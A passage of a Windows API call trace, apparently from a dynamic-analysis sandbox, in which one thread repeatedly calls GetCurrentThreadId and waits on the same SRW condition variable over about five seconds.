	[0135.882] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.160] GetCurrentThreadId () returned 0xb38
	[0136.160] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.187] GetCurrentThreadId () returned 0xb38
	[0136.187] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.210] GetCurrentThreadId () returned 0xb38
	[0136.210] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.228] GetCurrentThreadId () returned 0xb38
	[0136.228] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.231] GetCurrentThreadId () returned 0xb38
	[0136.231] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.247] GetCurrentThreadId () returned 0xb38
	[0136.247] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.286] GetCurrentThreadId () returned 0xb38
	[0136.286] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.326] GetCurrentThreadId () returned 0xb38
	[0136.326] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.362] GetCurrentThreadId () returned 0xb38
	[0136.362] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.369] GetCurrentThreadId () returned 0xb38
	[0136.369] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.387] GetCurrentThreadId () returned 0xb38
	[0136.387] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.551] GetCurrentThreadId () returned 0xb38
	[0136.551] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.568] GetCurrentThreadId () returned 0xb38
	[0136.568] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.584] GetCurrentThreadId () returned 0xb38
	[0136.584] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.623] GetCurrentThreadId () returned 0xb38
	[0136.623] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.631] GetCurrentThreadId () returned 0xb38
	[0136.631] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.650] GetCurrentThreadId () returned 0xb38
	[0136.650] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.682] GetCurrentThreadId () returned 0xb38
	[0136.682] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.693] GetCurrentThreadId () returned 0xb38
	[0136.693] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.710] GetCurrentThreadId () returned 0xb38
	[0136.710] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.788] GetCurrentThreadId () returned 0xb38
	[0136.788] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.822] GetCurrentThreadId () returned 0xb38
	[0136.822] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.836] GetCurrentThreadId () returned 0xb38
	[0136.836] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.840] GetCurrentThreadId () returned 0xb38
	[0136.840] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.857] GetCurrentThreadId () returned 0xb38
	[0136.857] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.939] GetCurrentThreadId () returned 0xb38
	[0136.939] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.945] GetCurrentThreadId () returned 0xb38
	[0136.945] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0136.978] GetCurrentThreadId () returned 0xb38
	[0136.978] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.040] GetCurrentThreadId () returned 0xb38
	[0137.040] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.064] GetCurrentThreadId () returned 0xb38
	[0137.064] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.074] GetCurrentThreadId () returned 0xb38
	[0137.074] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.101] GetCurrentThreadId () returned 0xb38
	[0137.101] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.121] GetCurrentThreadId () returned 0xb38
	[0137.121] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.215] GetCurrentThreadId () returned 0xb38
	[0137.215] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.242] GetCurrentThreadId () returned 0xb38
	[0137.242] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.385] GetCurrentThreadId () returned 0xb38
	[0137.385] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.428] GetCurrentThreadId () returned 0xb38
	[0137.428] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.451] GetCurrentThreadId () returned 0xb38
	[0137.451] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.468] GetCurrentThreadId () returned 0xb38
	[0137.468] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.488] GetCurrentThreadId () returned 0xb38
	[0137.488] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.502] GetCurrentThreadId () returned 0xb38
	[0137.502] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.507] GetCurrentThreadId () returned 0xb38
	[0137.507] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.537] GetCurrentThreadId () returned 0xb38
	[0137.537] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.553] GetCurrentThreadId () returned 0xb38
	[0137.553] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.561] GetCurrentThreadId () returned 0xb38
	[0137.561] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.781] GetCurrentThreadId () returned 0xb38
	[0137.781] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.784] GetCurrentThreadId () returned 0xb38
	[0137.784] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.817] GetCurrentThreadId () returned 0xb38
	[0137.818] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.820] GetCurrentThreadId () returned 0xb38
	[0137.820] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.840] GetCurrentThreadId () returned 0xb38
	[0137.840] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.920] GetCurrentThreadId () returned 0xb38
	[0137.920] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.940] GetCurrentThreadId () returned 0xb38
	[0137.940] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.955] GetCurrentThreadId () returned 0xb38
	[0137.955] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.987] GetCurrentThreadId () returned 0xb38
	[0137.987] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0137.993] GetCurrentThreadId () returned 0xb38
	[0137.993] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.014] GetCurrentThreadId () returned 0xb38
	[0138.014] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.081] GetCurrentThreadId () returned 0xb38
	[0138.081] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.111] GetCurrentThreadId () returned 0xb38
	[0138.111] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.117] GetCurrentThreadId () returned 0xb38
	[0138.117] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.139] GetCurrentThreadId () returned 0xb38
	[0138.139] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.157] GetCurrentThreadId () returned 0xb38
	[0138.157] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.191] GetCurrentThreadId () returned 0xb38
	[0138.191] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.246] GetCurrentThreadId () returned 0xb38
	[0138.246] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.269] GetCurrentThreadId () returned 0xb38
	[0138.269] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.288] GetCurrentThreadId () returned 0xb38
	[0138.288] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.328] GetCurrentThreadId () returned 0xb38
	[0138.328] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.361] GetCurrentThreadId () returned 0xb38
	[0138.361] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.422] GetCurrentThreadId () returned 0xb38
	[0138.422] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.556] GetCurrentThreadId () returned 0xb38
	[0138.556] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.605] GetCurrentThreadId () returned 0xb38
	[0138.605] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.630] GetCurrentThreadId () returned 0xb38
	[0138.630] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.691] GetCurrentThreadId () returned 0xb38
	[0138.691] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.691] GetCurrentThreadId () returned 0xb38
	[0138.692] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.740] GetCurrentThreadId () returned 0xb38
	[0138.740] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.743] GetCurrentThreadId () returned 0xb38
	[0138.743] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.809] GetCurrentThreadId () returned 0xb38
	[0138.809] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.848] GetCurrentThreadId () returned 0xb38
	[0138.848] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.881] GetCurrentThreadId () returned 0xb38
	[0138.881] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0138.882] GetCurrentThreadId () returned 0xb38
	[0138.882] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.640] GetCurrentThreadId () returned 0xb38
	[0139.640] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.660] GetCurrentThreadId () returned 0xb38
	[0139.660] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.663] GetCurrentThreadId () returned 0xb38
	[0139.663] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.693] GetCurrentThreadId () returned 0xb38
	[0139.693] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.737] GetCurrentThreadId () returned 0xb38
	[0139.737] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.737] GetCurrentThreadId () returned 0xb38
	[0139.737] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.772] GetCurrentThreadId () returned 0xb38
	[0139.772] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.791] GetCurrentThreadId () returned 0xb38
	[0139.791] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.827] GetCurrentThreadId () returned 0xb38
	[0139.827] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.833] GetCurrentThreadId () returned 0xb38
	[0139.833] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.862] GetCurrentThreadId () returned 0xb38
	[0139.862] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.869] GetCurrentThreadId () returned 0xb38
	[0139.869] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.913] GetCurrentThreadId () returned 0xb38
	[0139.913] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.925] GetCurrentThreadId () returned 0xb38
	[0139.925] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.928] GetCurrentThreadId () returned 0xb38
	[0139.928] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.952] GetCurrentThreadId () returned 0xb38
	[0139.953] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0139.966] GetCurrentThreadId () returned 0xb38
	[0139.966] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.059] GetCurrentThreadId () returned 0xb38
	[0140.059] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.075] GetCurrentThreadId () returned 0xb38
	[0140.075] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.103] GetCurrentThreadId () returned 0xb38
	[0140.104] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.143] GetCurrentThreadId () returned 0xb38
	[0140.143] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.147] GetCurrentThreadId () returned 0xb38
	[0140.147] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.173] GetCurrentThreadId () returned 0xb38
	[0140.173] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.181] GetCurrentThreadId () returned 0xb38
	[0140.181] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.214] GetCurrentThreadId () returned 0xb38
	[0140.214] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.221] GetCurrentThreadId () returned 0xb38
	[0140.221] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.239] GetCurrentThreadId () returned 0xb38
	[0140.239] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.256] GetCurrentThreadId () returned 0xb38
	[0140.256] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.319] GetCurrentThreadId () returned 0xb38
	[0140.319] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.332] GetCurrentThreadId () returned 0xb38
	[0140.332] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.340] GetCurrentThreadId () returned 0xb38
	[0140.340] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0140.362] GetCurrentThreadId () returned 0xb38
	[0140.362] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
